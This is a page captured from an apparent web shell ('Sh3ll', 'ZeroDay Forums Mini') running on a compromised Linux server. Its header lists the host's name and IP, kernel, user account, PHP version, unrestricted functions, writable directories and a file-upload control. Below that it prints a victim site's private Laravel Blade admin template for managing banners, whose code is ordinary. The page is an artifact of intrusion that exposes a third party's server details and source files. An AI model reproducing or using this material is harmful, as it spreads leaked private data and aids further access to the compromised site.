Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/public_html/app/Modules/Banners/Resources/Views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/public_html/app/Modules/Banners/Resources/Views/admin/banners_create_edit.blade.php
@extends('admin.layouts.form')
@section('title')
@if (isset($label))
{{ trans("banners::banners.edit_label_title") }}
@else
{{ trans("banners::banners.create_label_title") }}
@endif
@endsection

@section('css_page')
<link href="{{ asset('/themes/admin/assets/global/plugins/bootstrap-wysihtml5/bootstrap-wysihtml5.css') }}"
    rel="stylesheet">
@endsection


@section('content')
<!-- BEGIN PAGE HEADER-->
<div class="page-bar">
    <ul class="page-breadcrumb">
        <li>
            <i class="fa fa-home"></i>
            <a href="{!! url('') !!}">{{ trans('general.breadcrumbs_home') }}</a>
            <i class="fa fa-angle-right"></i>
        </li>
        <li>
            <a href="{!! route('admin.banners.index') !!}">{{ trans('banners::banners.breadcrumbs_title') }}</a>
            <i class="fa fa-angle-right"></i>
        </li>
        <li>
            <a href="{!! route('admin.banners.index') !!}">{{ trans('banners::banners.page_title') }}</a>
            <i class="fa fa-angle-right"></i>
        </li>
        <li>
            @if (isset($obj))
            <a href="#">{{ trans('banners::banners.edit_title') }}</a>
            @else
            <a href="#">{{ trans('banners::banners.create_new_title') }}</a>
            @endif
        </li>
    </ul>
</div>
<!-- END PAGE HEADER-->

<!-- BEGIN PAGE CONTENT-->
<div class="row">
    <div class="col-md-12">

        @if (isset($obj))
        {!! Form::model($obj, [
        'route' => ['admin.banners.update', ['banner' => $obj->id]],
        'method' => 'PUT',
        'class' => 'bf form-horizontal',
        'files' => true
        ]) !!}
        @else
        {!! Form::open([
        'route' => 'admin.banners.store',
        'method' => 'POST',
        'class' => 'bf form-horizontal',
        'files' => true
        ]) !!}
        @endif


        <div class="portlet">
            <div class="portlet-title">
                <div class="caption">
                    @if (isset($obj))
                    {{ trans('banners::banners.edit_title') }}
                    @else
                    {{ trans('banners::banners.create_new_title') }}
                    @endif
                </div>
                <div class="actions btn-set">
                    <a href="{{ route('admin.banners.index') }}" name="back" class="btn default"><i class="fa fa-angle-left"></i> {{ trans('general.action_back') }}</a>
                    <button class="btn default" type="reset"><i class="fa fa-reply"></i> {{ trans('general.action_reset') }}</button>
                    <button class="btn green" name="save" value="save"><i class="fa fa-check"></i> {{ trans('general.action_save') }}</button>
                    <button class="btn blue" name="save_exit" value="save_exit">{{ trans('general.action_save_exit') }} <i class="fa fa-arrow-circle-right"></i></button>
                </div>
            </div>

            <!--form-->
            <div class="portlet-body">
                @include('flash::message')
                <div class="portlet light">
                    <div class="portlet-title tabbable-line">
                        <div class="caption caption-md">
                            <i class="icon-globe theme-font hide"></i>
                            <span class="caption uppercase"></span>
                        </div>
                        <ul class="nav nav-tabs" role="tablist">
                            <li class="active">
                                <a href="#tab_general" data-toggle="tab">General</a>
                            </li>
                            <li>
                                <a href="#tab_gallery" data-toggle="tab">Gallery</a>
                            </li>
                            <li>
                                <a href="#tab_display" data-toggle="tab">Display</a>
                            </li>
                        </ul>
                    </div>
                    <div class="portlet-body">
                        <div class="tab-content">
                            {{--tab general--}}
                            <div role="tabpanel" class="tab-pane active" id="tab_general">
                                <div class="row">
                                    <div class="col-md-6">
                                        <!--name-->
                                        <div class="form-group {{ $errors->has('name') ? 'has-error' : '' }}">
                                            <label class="control-label col-md-3">
                                                {{ trans('banners::banners.form_name') }}
                                                <span class="required" aria-required="true">*</span>
                                            </label>

                                            <div class="col-md-9">
                                                {!! Form::text('name', null, array('class' => 'form-control','placeholder'=>'')) !!}
                                                <span class="help-block">{{ $errors->first('name', ':message') }}</span>
                                            </div>
                                        </div>
                                        <!--end name-->
                                        <!--position-->
                                        <div class="form-group {{ $errors->has('position') ? 'has-error' : '' }}">
                                            <label class="control-label col-md-3">
                                                {{ trans('banners::banners.form_position') }}
                                                <span class="required" aria-required="true">*</span>
                                            </label>

                                            <div class="col-md-9">
                                                {!! Form::select('position', $form['positions'], null, ['class'=>'form-control']) !!}
                                                <span class="help-block">{{ $errors->first('position', ':message') }}</span>
                                            </div>
                                        </div>
                                        <!--end position-->
                                    </div>
                                    <!--end row left-->
                                </div>
                            </div>
                            {{--end tab general--}}

                            {{--tab gallery--}}
                            <div role="tabpanel" class="tab-pane" id="tab_gallery">
                                <div class="row">
                                    <div class="col-md-12">
                                        <div class="portlet">
                                            <div class="portlet-title">
                                                <div class="actions">
                                                    <button type="button" class="btn btn-xs blue tooltips add_gallery" title="" data-original-title="{{ trans('general.action_add') }}"><i class="fa fa-plus"></i></button>
                                                </div>
                                            </div>
                                            <div class="portlet-body" id="gallery">
                                                @if($errors->has('photo'))
                                                <div class="alert alert-danger">
                                                    {!! $errors->first('photo', ':message') !!}
                                                </div>
                                                @endif

                                                @if (isset($form['saved_gallery']))
                                                @foreach($form['saved_gallery'] as $gal)
                                                @include('banners::admin.partial_saved_gallery',['gal'=>$gal,'form'=>$form])
                                                @endforeach
                                                @endif

                                                @if (isset($form['gallery']['file_title']))
                                                @foreach(@$form['gallery']['file_title'] as $key=>$val)
                                                @include("banners::admin.partial_new_gallery",['fields'=>$form['gallery'],'key'=>$key,'form'=>$form])
                                                @endforeach
                                                @endif
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            {{--end tab gallery--}}

                            {{--tab display--}}
                            <div role="tabpanel" class="tab-pane" id="tab_display">
                                <div class="row">
                                    <div class="col-md-12">
                                        @foreach($form['display'] as $key=>$group_option)
                                        <?php
                                        $class_display = array_keys($group_option)[0];
                                        $display_input = $class_display;
                                        ?>
                                        <div class="portlet">
                                            <div class="portlet-title">
                                                <div class="caption">{{ trans("banners::banners.$class_display") }}</div>
                                                <div class="tools">
                                                    <span class="badge badge-primary"></span>
                                                    <a href="javascript:;" class="collapse" data-original-title=""></a>
                                                </div>
                                            </div>
                                            <div class="portlet-body">
                                                @foreach (collect($group_option[$class_display])->chunk(3) as $chunk)
                                                <div class="row" style="margin-bottom:5px;">
                                                    @foreach ($chunk as $display_id=>$display_name)
                                                    <?php
                                                    $checked = false;
                                                    if (@$obj->id) {
                                                        @$checked = in_array($display_id, $form['saved_display'][$class_display]);
                                                    }
                                                    ?>
                                                    <div class="col-xs-4">
                                                        <div class="checkbox-list ">
                                                            <label class="text-left checkbox-inline col-md-12" style="font-size:12px;">
                                                                {!! Form::checkbox($display_input."[]", $display_id, $checked) !!} {{ $display_name }}
                                                            </label>
                                                        </div>
                                                    </div>
                                                    @endforeach
                                                </div>
                                                @endforeach
                                            </div>
                                        </div>
                                        @endforeach
                                    </div>
                                </div>
                            </div>
                            {{--end tab display--}}
                        </div>
                    </div>
                </div>


            </div>
            <!--/form-->

            <!--actions-->
            <div class="portlet-title">
                <div class="actions btn-set">
                    <a href="{{ route('admin.banners.index') }}" name="back" class="btn default"><i class="fa fa-angle-left"></i> {{ trans('general.action_back') }}</a>
                    <button class="btn default" type="reset"><i class="fa fa-reply"></i> {{ trans('general.action_reset') }}</button>
                    <button class="btn green" name="save" value="save"><i class="fa fa-check"></i> {{ trans('general.action_save') }}</button>
                    <button class="btn blue" name="save_exit" value="save_exit">{{ trans('general.action_save_exit') }} <i class="fa fa-arrow-circle-right"></i></button>
                </div>
            </div>
            <!--/actions-->
        </div>
        {!! Form::close() !!}

    </div>
</div>
<!-- END PAGE CONTENT-->
@endsection


@section('scripts_page')
@parent
<script src="{{ asset('/themes/admin/assets/global/plugins/bootstrap-wysihtml5/wysihtml5-0.3.0.js') }}"
    type="text/javascript"></script>
<script src="{{ asset('/themes/admin/assets/global/plugins/bootstrap-wysihtml5/bootstrap-wysihtml5.js') }}"
    type="text/javascript"></script>

<script>
    jQuery(document).ready(function() {
        //add new address
        $('.add_gallery').click(function() {
            $.ajax({
                    url: "{{ route('admin.banners.addgallery') }}",
                    method: "GET",
                    dataType: "html",
                    cache: false,
                })
                .done(function(html) {
                    $("#gallery").append(html);
                    $(".tooltips").tooltip();
                });
        });

        //delete address
        $("body").on('click', '.delete_gallery', function() {
            $(this).closest('.gal').remove();
            var delId = $(this).attr('gal_id');

            var url = "{{ route('admin.banners.delgallery', ['id' => '__id__']) }}";
            url = url.replace('__id__', delId);
            if (delId != undefined) {
                $.ajax({
                    url: url,
                    method: "GET",
                    cache: false,
                });
            } //endif
        });


    });
</script>
@endsection

ZeroDay Forums Mini